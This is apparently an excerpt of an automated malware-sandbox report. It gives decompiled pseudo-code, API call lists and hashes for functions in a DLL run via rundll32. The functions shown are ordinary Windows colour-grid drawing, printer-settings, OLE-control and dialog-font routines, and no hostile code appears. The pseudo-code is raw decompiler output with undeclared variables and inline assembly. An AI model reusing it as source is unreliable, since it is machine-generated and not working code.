Part of subcall function 6EB487EC: GetParent.USER32(?), ref: 6EB48840
Part of subcall function 6EB487EC: GetLastActivePopup.USER32(?), ref: 6EB48851
Part of subcall function 6EB487EC: IsWindowEnabled.USER32(?), ref: 6EB48865
Part of subcall function 6EB487EC: EnableWindow.USER32(?,00000000), ref: 6EB48878

EnableWindow.USER32(?,00000001), ref: 6EB488EB
GetWindowThreadProcessId.USER32(?,?), ref: 6EB488FF
GetCurrentProcessId.KERNEL32 ref: 6EB48909
SendMessageA.USER32 ref: 6EB48921
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 6EB4899B
EnableWindow.USER32(00000000,00000001), ref: 6EB489E0

Strings

0, xrefs: 6EB48976

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 0
API String ID: 1877664794-4108050209
Opcode ID: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction ID: b97e08af10747471932e5ae369c2a8dd8302c8e1187279fc4357f5eb3b1cd59e
Opcode Fuzzy Hash: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction Fuzzy Hash: 7341C332A00A99DBDF218FA4CC55BDA7BB8FF45714F100594FA54A7288D7B0DA809FD2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB473C0 Relevance: 12.2, APIs: 8, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB473C0(void* __ecx, void* __eflags, void* __fp0) {
				short _v12;
				char _v16;
				signed int _v24;
				char _v42;
				intOrPtr _v50;
				signed int _v58;
				char _v116;
				struct HDC__* _v120;
				signed long long _v132;
				char _v134;
				struct HDC__* _v146;
				struct tagRECT _v148;
				char _v150;
				void* _v162;
				signed int _v176;
				struct HBRUSH__* _v180;
				signed int _v182;
				intOrPtr _v192;
				struct HBRUSH__* _v194;
				intOrPtr _v196;
				char _v198;
				short _v200;
				int _v204;
				intOrPtr _v206;
				short _v208;
				char _v210;
				intOrPtr _v212;
				int _v216;
				intOrPtr _v220;
				struct tagRECT _v226;
				short _v228;
				short _v230;
				int _v232;
				intOrPtr _v234;
				int _v238;
				short _v240;
				intOrPtr _v242;
				signed short _v252;
				short _v254;
				signed long long _v258;
				short _v262;
				short _v266;
				signed int _v274;
				signed short _v278;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				signed int _t104;
				intOrPtr _t120;
				short _t122;
				signed int _t129;
				void* _t130;
				intOrPtr _t131;
				void* _t143;
				signed short _t148;
				long _t149;
				void* _t150;
				int _t160;
				short _t164;
				short _t188;
				short _t200;
				RECT* _t201;
				void* _t202;
				void* _t204;
				void* _t206;
				signed int _t207;
				signed int _t209;
				void* _t216;
				signed long long _t218;

				_t216 = __fp0;
				_t210 = __eflags;
				_push(0xffffffff);
				_push(0x6eb78713);
				_push( *[fs:0x0]);
				_t209 = (_t207 & 0xfffffff8) - 0xe8;
				_t102 =  *0x6eb89470; // 0xc96cff66
				_v24 = _t102 ^ _t209;
				_t104 =  *0x6eb89470; // 0xc96cff66
				_push(_t104 ^ _t209);
				 *[fs:0x0] =  &_v16;
				_t204 = __ecx;
				_push(__ecx);
				E6EB49B33( &_v116, __ecx, __eflags);
				_t148 = 0;
				_v12 = 0;
				GetClientRect( *(__ecx + 0x20),  &(_v148.top));
				_push(GetSysColor(0xf));
				E6EB49E16( &_v180, _t204, _t210);
				_v16 = 1;
				FrameRect(_v120,  &_v148, _v180);
				_t160 = (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2);
				_t120 = (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2);
				_t188 = 1;
				_v216 = _t160;
				_v220 = _t120;
				_v212 = 0x7fff;
				_v240 = 0;
				_v232 = 1;
				while(1) {
					asm("fild dword [esp+0x20]");
					_v204 = 1;
					_v200 = _t188;
					_v196 = _t160 + 1;
					_t218 = (_t216 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_v192 = _t120 + _t188;
					_t122 = E6EB676F0(_t120 + _t188, _t218);
					_v208 = _t122;
					_v176 = _t122 * _t122;
					_t200 = 0;
					asm("fild dword [esp+0x40]");
					_v252 = _t148;
					_v132 = _t218;
					while(1) {
						_t164 =  *(_t204 + 0x74);
						_v228 = _t164;
						_t149 = ColorHLSToRGB(_t200, _t164, _t122);
						 *((intOrPtr*)(_v262 +  *((intOrPtr*)(_t204 + 0x58)))) = _t149;
						E6EB53F35( &_v134,  &(_v226.bottom), _t149);
						ColorRGBToHLS( *(_t204 + 0x70),  &_v254,  &_v262,  &_v266);
						_v226.right = (_v266 & 0x0000ffff) - _t200;
						_t129 = _v278 & 0x0000ffff;
						_v258 = (_v274 & 0x0000ffff) - _v258;
						_v194 = _t129 * _t129 + _v206;
						_v182 = _t129;
						asm("fild dword [esp+0x2c]");
						_v258 = _t218;
						asm("fild dword [esp+0x6c]");
						_v194 = _t218;
						asm("fild dword [esp+0x54]");
						_t130 = E6EB76660((_v274 & 0x0000ffff) - _v258, _t129 * _t129 + _v206, _t218 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t218 = _v258 * st0;
						asm("faddp st1, st0");
						_t131 = E6EB676F0(_t130, _t218);
						if(_t131 < _v242) {
							_v234 = _t131;
							 *(_t204 + 0x60) = _v226.left;
							 *((intOrPtr*)(_t204 + 0x64)) = _v226.top;
							 *((intOrPtr*)(_t204 + 0x68)) = _v226.right;
							 *((intOrPtr*)(_t204 + 0x6c)) = _v226.bottom;
							 *((intOrPtr*)(_t204 + 0x5c)) = _t149;
						}
						OffsetRect( &_v226, _v238, 0);
						_v274 = _v274 + 4;
						_t200 = _t200 + 0xa;
						if(_t200 >= 0xf0) {
							break;
						}
						_t122 = _v230;
					}
					_t120 = _v242;
					_t148 = _v274;
					_v262 = _v262 + 1;
					_v254 = _v254 + _t120;
					if(_t148 < 0x900) {
						_t160 = _v238;
						_t188 = _v254;
						continue;
					}
					_t201 = _t204 + 0x60;
					InflateRect(_t201, 1, 1);
					_push(((0 |  *(_t204 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
					E6EB49E16( &_v194, _t204,  *(_t204 + 0x74) - 0xd2);
					FrameRect(_v146, _t201, _v194);
					_v198 = 0x6eb79cf0;
					E6EB41070( &_v198, _v146);
					_v42 = 0;
					_v210 = 0x6eb79cf0;
					E6EB41070( &_v210, _v146);
					_v42 = 0xffffffff;
					_t143 = E6EB49B87(_t148,  &_v150, _t201, 0x6eb79cf0,  *(_t204 + 0x74) - 0xd2);
					 *[fs:0x0] = _v50;
					_pop(_t202);
					_pop(_t206);
					_pop(_t150);
					return E6EB63DE0(_t143, _t150, _v58 ^ _t209, _v146, _t202, _t206);
				}
			}

APIs

Part of subcall function 6EB49B33: __EH_prolog3.LIBCMT ref: 6EB49B3A
Part of subcall function 6EB49B33: BeginPaint.USER32(?,?,00000004,6EB529FE,?,00000058,6EB4622F), ref: 6EB49B66

GetClientRect.USER32 ref: 6EB47421
GetSysColor.USER32(0000000F), ref: 6EB47429

Part of subcall function 6EB49E16: __EH_prolog3.LIBCMT ref: 6EB49E1D
Part of subcall function 6EB49E16: CreateSolidBrush.GDI32(?), ref: 6EB49E38

FrameRect.USER32 ref: 6EB47456
ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Rect$Color$FrameH_prolog3$BeginBrushClientCreateInflateOffsetPaintSolidText
String ID:
API String ID: 4136518526-0
Opcode ID: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction ID: ea1be88c76f36fa851ce70a12abb9b91debe1c4263d46c89fa79e7dea2a04cea
Opcode Fuzzy Hash: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction Fuzzy Hash: 7D9114715087809FC724CF69C584AABBBF9FBC9714F008E1DE59A83794DB74A844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB504A2 Relevance: 12.1, APIs: 8, Instructions: 66
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB504A2(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E6EB543E1(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E6EB543E1( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

APIs

GlobalLock.KERNEL32 ref: 6EB504C1
lstrcmpA.KERNEL32(?,?,?,?,?,?,?,6EB4DB35,?), ref: 6EB504CD
OpenPrinterA.WINSPOOL.DRV(?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504DF
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504FF
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 6EB50507
GlobalLock.KERNEL32 ref: 6EB50511
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB5051E
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB50536

Part of subcall function 6EB543E1: GlobalFlags.KERNEL32(?), ref: 6EB543F0
Part of subcall function 6EB543E1: GlobalUnlock.KERNEL32(?,?,6EB50530,?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35), ref: 6EB54402
Part of subcall function 6EB543E1: GlobalFree.KERNEL32 ref: 6EB5440D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction ID: 2dcea6ef26b9a258f193c9101ae47f0145634775de0921d822dbde4cae965425
Opcode Fuzzy Hash: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction Fuzzy Hash: 3911CE72510A80BBDF225FB5DD88DAF7EBDEF897087000858FA11D2620DB31DA21D720

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51E86 Relevance: 10.7, APIs: 7, Instructions: 242
memoryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB51E86(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t136;
				int _t141;
				signed short _t144;
				short* _t145;
				intOrPtr _t149;
				signed short _t173;
				intOrPtr _t174;
				signed int _t175;
				intOrPtr _t180;
				struct tagRECT _t186;
				int _t187;
				signed short _t189;
				signed short _t190;
				void* _t191;
				void* _t217;
				intOrPtr _t221;
				short _t222;
				intOrPtr* _t229;
				signed short* _t231;
				signed int _t234;
				signed short* _t235;
				signed short* _t237;
				signed short* _t238;
				void* _t239;

				_push(0x9c);
				E6EB66564(0x6eb7789e, __ebx, __edi, __esi);
				_t229 =  *((intOrPtr*)(_t239 + 0x14));
				_t231 =  *(_t239 + 0x1c);
				 *((intOrPtr*)(_t239 - 0x3c)) =  *((intOrPtr*)(_t239 + 8));
				 *(_t239 - 0x50) =  *(_t239 + 0xc);
				 *((intOrPtr*)(_t239 - 0x44)) =  *((intOrPtr*)(_t239 + 0x24));
				_t136 = _t229 + 0x12;
				 *((intOrPtr*)(_t239 - 0x2c)) = _t136;
				if( *((intOrPtr*)(_t239 + 0x10)) != 0) {
					 *((intOrPtr*)(_t239 - 0x6c)) =  *((intOrPtr*)(_t229 + 8));
					 *((intOrPtr*)(_t239 - 0x68)) =  *((intOrPtr*)(_t229 + 4));
					 *((short*)(_t239 - 0x64)) =  *((intOrPtr*)(_t229 + 0xc));
					 *((short*)(_t239 - 0x62)) =  *((intOrPtr*)(_t229 + 0xe));
					 *((short*)(_t239 - 0x5e)) =  *_t136;
					_t221 = _t229 + 0x18;
					 *((short*)(_t239 - 0x60)) =  *(_t229 + 0x10);
					 *((short*)(_t239 - 0x5c)) =  *((intOrPtr*)(_t229 + 0x14));
					_t229 = _t239 - 0x6c;
					 *((intOrPtr*)(_t239 - 0x2c)) = _t221;
				}
				_t222 =  *((short*)(_t229 + 0xa));
				_t186 =  *((short*)(_t229 + 8));
				 *((intOrPtr*)(_t239 - 0x70)) =  *((short*)(_t229 + 0xe)) + _t222;
				 *(_t239 - 0x7c) = _t186;
				 *((intOrPtr*)(_t239 - 0x78)) = _t222;
				 *((intOrPtr*)(_t239 - 0x74)) =  *((short*)(_t229 + 0xc)) + _t186;
				_t141 = MapDialogRect( *( *((intOrPtr*)(_t239 - 0x3c)) + 0x20), _t239 - 0x7c);
				 *(_t239 - 0x34) =  *(_t239 - 0x34) & 0x00000000;
				if( *((intOrPtr*)(_t239 + 0x20)) >= 4) {
					_t190 =  *_t231;
					 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - 4;
					_t231 =  &(_t231[2]);
					if(_t190 > 0) {
						__imp__#4(_t231, _t190);
						_t191 = _t190 + _t190;
						_t231 = _t231 + _t191;
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t191;
						 *(_t239 - 0x34) = _t141;
					}
				}
				 *(_t239 - 0x38) =  *(_t239 - 0x38) & 0x00000000;
				E6EB413B0(_t239 - 0x30, _t222);
				 *((intOrPtr*)(_t239 - 4)) = 0;
				 *(_t239 - 0x4c) = 0;
				 *(_t239 - 0x48) = 0;
				 *(_t239 - 0x40) = 0;
				if( *((intOrPtr*)(_t239 + 0x18)) == 0x37a ||  *((intOrPtr*)(_t239 + 0x18)) == 0x37b) {
					_t144 =  *_t231;
					_t55 = _t144 - 0xc; // 0x36f
					_t222 = _t55;
					_t231 =  &(_t231[6]);
					 *(_t239 - 0x58) = _t144;
					 *((intOrPtr*)(_t239 - 0x28)) = _t222;
					if(_t222 <= 0) {
						L16:
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t144;
						 *((intOrPtr*)(_t239 + 0x18)) =  *((intOrPtr*)(_t239 + 0x18)) + 0xfffc;
						goto L17;
					} else {
						goto L8;
					}
					do {
						L8:
						_t173 =  *_t231;
						 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) - 6;
						_t235 =  &(_t231[2]);
						_t189 =  *_t235 & 0x0000ffff;
						_t231 =  &(_t235[1]);
						 *(_t239 - 0x54) = _t173;
						if(_t173 != 0x80010001) {
							_t174 = E6EB47C96(__eflags, 0x1c);
							 *((intOrPtr*)(_t239 - 0x80)) = _t174;
							 *((char*)(_t239 - 4)) = 1;
							__eflags = _t174;
							if(_t174 == 0) {
								_t175 = 0;
								__eflags = 0;
							} else {
								_t175 = E6EB59ECE(_t174,  *(_t239 - 0x38),  *(_t239 - 0x54), _t189);
							}
							 *((char*)(_t239 - 4)) = 0;
							 *(_t239 - 0x38) = _t175;
						} else {
							_t237 =  &(_t231[2]);
							 *(_t239 - 0x48) =  *_t231;
							_t238 =  &(_t237[6]);
							 *(_t239 - 0x40) =  *_t237;
							E6EB47B20(_t222, _t229, _t238);
							_t180 =  *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x30)) - 0xc));
							_t217 = 0xffffffef;
							 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) + _t217 - _t180;
							_t231 = _t238 + _t180 + 1;
							 *(_t239 - 0x4c) = _t189 & 0x0000ffff;
						}
					} while ( *((intOrPtr*)(_t239 - 0x28)) > 0);
					_t144 =  *(_t239 - 0x58);
					goto L16;
				} else {
					L17:
					_t145 =  *((intOrPtr*)(_t239 - 0x2c));
					_t252 =  *_t145 - 0x7b;
					_push(_t239 - 0x20);
					_push(_t145);
					if( *_t145 != 0x7b) {
						__imp__CLSIDFromProgID();
					} else {
						__imp__CLSIDFromString();
					}
					_t187 = 0;
					_push(0);
					_push( *((intOrPtr*)(_t239 + 0x20)));
					_push(_t231);
					 *((intOrPtr*)(_t239 - 0x2c)) = _t145;
					E6EB5FB54(0, _t239 - 0xa8, _t229, _t231, _t252);
					asm("sbb esi, esi");
					_t234 =  ~( *((intOrPtr*)(_t239 + 0x18)) - 0x00000378 & 0x0000ffff) & _t239 - 0x000000a8;
					_t253 =  *((intOrPtr*)(_t239 - 0x2c));
					 *((char*)(_t239 - 4)) = 2;
					 *((intOrPtr*)(_t239 - 0x24)) = 0;
					if( *((intOrPtr*)(_t239 - 0x2c)) >= 0) {
						_push(1);
						if(E6EB57C95(0,  *((intOrPtr*)(_t239 - 0x3c)), _t229, _t234, _t253) != 0 && E6EB5823B( *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x3c)) + 0x4c)), 0, _t239 - 0x20, 0,  *_t229, _t239 - 0x7c,  *(_t229 + 0x10) & 0x0000ffff, _t234, 0 |  *((intOrPtr*)(_t239 + 0x18)) == 0x00000377,  *(_t239 - 0x34), _t239 - 0x24) != 0) {
							E6EB5940B( *((intOrPtr*)(_t239 - 0x24)), 1);
							SetWindowPos( *( *((intOrPtr*)(_t239 - 0x24)) + 0x24),  *(_t239 - 0x50), 0, 0, 0, 0, 0x13);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x94) =  *(_t239 - 0x38);
							E6EB48694(0,  *((intOrPtr*)(_t239 - 0x24)) + 0xa4, _t239 - 0x30);
							 *((short*)( *((intOrPtr*)(_t239 - 0x24)) + 0x98)) =  *(_t239 - 0x4c);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x9c) =  *(_t239 - 0x48);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0xa0) =  *(_t239 - 0x40);
						}
					}
					if( *(_t239 - 0x34) != _t187) {
						__imp__#6( *(_t239 - 0x34));
					}
					_t149 =  *((intOrPtr*)(_t239 - 0x24));
					if(_t149 == _t187) {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) = _t187;
					} else {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) =  *((intOrPtr*)(_t149 + 0x24));
						_t187 = 1;
					}
					 *((char*)(_t239 - 4)) = 0;
					E6EB5FEC2(_t187, _t239 - 0xa8, _t222, _t229, _t234, 1);
					E6EB41020( *((intOrPtr*)(_t239 - 0x30)) + 0xfffffff0, _t222);
					return E6EB665E7(_t187, _t229, _t234);
				}
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB51E90
MapDialogRect.USER32(?,?), ref: 6EB51F21
SysAllocStringLen.OLEAUT32(?,?), ref: 6EB51F40
CLSIDFromString.OLE32(?,00000004), ref: 6EB5202E

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

CLSIDFromProgID.OLE32(?,00000004), ref: 6EB52036
SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,00000000,?,00000000), ref: 6EB520DE
SysFreeString.OLEAUT32(00000000), ref: 6EB52130

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prolog3_ProgRectWindow_malloc
String ID:
API String ID: 2980224915-0
Opcode ID: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction ID: 17d70f7826d17673e6d5bae8ae77c09ae2840d29ff9c55dafccc45fc609cda1d
Opcode Fuzzy Hash: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction Fuzzy Hash: 4CA112B1D10259EFDB14CFE8C994AEDBBB4FF08304F24452AE859A7380E734A954CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60112 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB60112(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				signed int _t54;
				void* _t65;
				char* _t69;
				short* _t70;
				signed int _t72;
				signed int* _t83;
				short* _t84;
				void* _t93;
				signed int* _t101;
				signed int _t102;
				void** _t103;
				intOrPtr _t105;
				signed int _t107;
				signed int _t109;
				void* _t110;

				_t104 = __esi;
				_t99 = __edx;
				_t82 = __ebx;
				_t54 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t54 ^ _t109;
				_t103 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E6EB5FF46(_t83);
					_t105 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t105;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t65 = 0;
					} else {
						_t69 = _t105 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t69;
						if(_t69 < _t105) {
							goto L15;
						} else {
							_t70 = E6EB5FF8D(_t83);
							_t93 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t93 = _t105 + 2 + E6EB6688F(_t84 + _t105) * 2;
							}
							_t33 =  &(_v76[3]); // 0x3
							_t101 = _v84;
							_t36 = _t84 + 3; // 0x3
							_t72 = _t93 + _t36 & 0xfffffffc;
							_t107 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t102 =  *(_t101 + 8) & 0x0000ffff;
							} else {
								_t102 =  *(_t101 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t93 || _t102 <= 0) {
								L17:
								 *_t84 = _a8;
								_t99 =  &_v72;
								E6EB54756(_t103, _t107, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t103[1] = _t103[1] + _t107 - _v80;
								GlobalUnlock( *_t103);
								_t103[2] = _t103[2] & 0x00000000;
								_t65 = 1;
							} else {
								_t99 = _t103[1];
								_t97 = _t99 - _t72 + _v84;
								if(_t99 - _t72 + _v84 <= _t99) {
									E6EB54756(_t103, _t107, _t107, _t97, _t72, _t97);
									_t110 = _t110 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t104);
					_pop(_t82);
				} else {
					_t65 = 0;
				}
				return E6EB63DE0(_t65, _t82, _v8 ^ _t109, _t99, _t103, _t104);
			}

0x6eb60112
0x6eb60112
0x6eb60112
0x6eb6011a
0x6eb60121
0x6eb60128
0x6eb6012e
0x6eb60131
0x6eb6013a
0x6eb6013b
0x6eb60144
0x6eb60155
0x6eb60158
0x6eb60160
0x6eb60176
0x6eb60178
0x6eb6017b
0x6eb60183
0x6eb6017d
0x6eb6017d
0x6eb6017d
0x6eb60192
0x6eb60210
0x6eb60210
0x6eb60194
0x6eb601a9
0x6eb601ae
0x6eb601b1
0x00000000
0x6eb601b3
0x6eb601b4
0x6eb601ba
0x6eb601bc
0x6eb601c1
0x6eb601cd
0x6eb601cd
0x6eb601d4
0x6eb601d8
0x6eb601db
0x6eb601df
0x6eb601e2
0x6eb601e9
0x6eb601ec
0x6eb601f4
0x6eb601ee
0x6eb601ee
0x6eb601ee
0x6eb601fb
0x6eb60220
0x6eb60227
0x6eb60230
0x6eb60238
0x6eb60245
0x6eb60248
0x6eb6024e
0x6eb60254
0x6eb60202
0x6eb60202
0x6eb60209
0x6eb6020e
0x6eb60218
0x6eb6021d
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb6020e
0x6eb601fb
0x6eb601b1
0x6eb60255
0x6eb60256
0x6eb60133
0x6eb60133
0x6eb60133
0x6eb60263

APIs

GlobalLock.KERNEL32 ref: 6EB6013E
lstrlenA.KERNEL32(?), ref: 6EB60189
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 6EB601A3
_wcslen.LIBCMT ref: 6EB601C7

Strings

System, xrefs: 6EB6013A

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWide_wcslenlstrlen
String ID: System
API String ID: 4253822919-3470857405
Opcode ID: a7e4373b2d5041fe067d0f46c39936abf963ecde4f530a92ffd421ab16e0bf5c
Instruction ID: a814a8865c62834e23b878c05108f0a047a32f1dff83c0cc8f313c1cb448189a
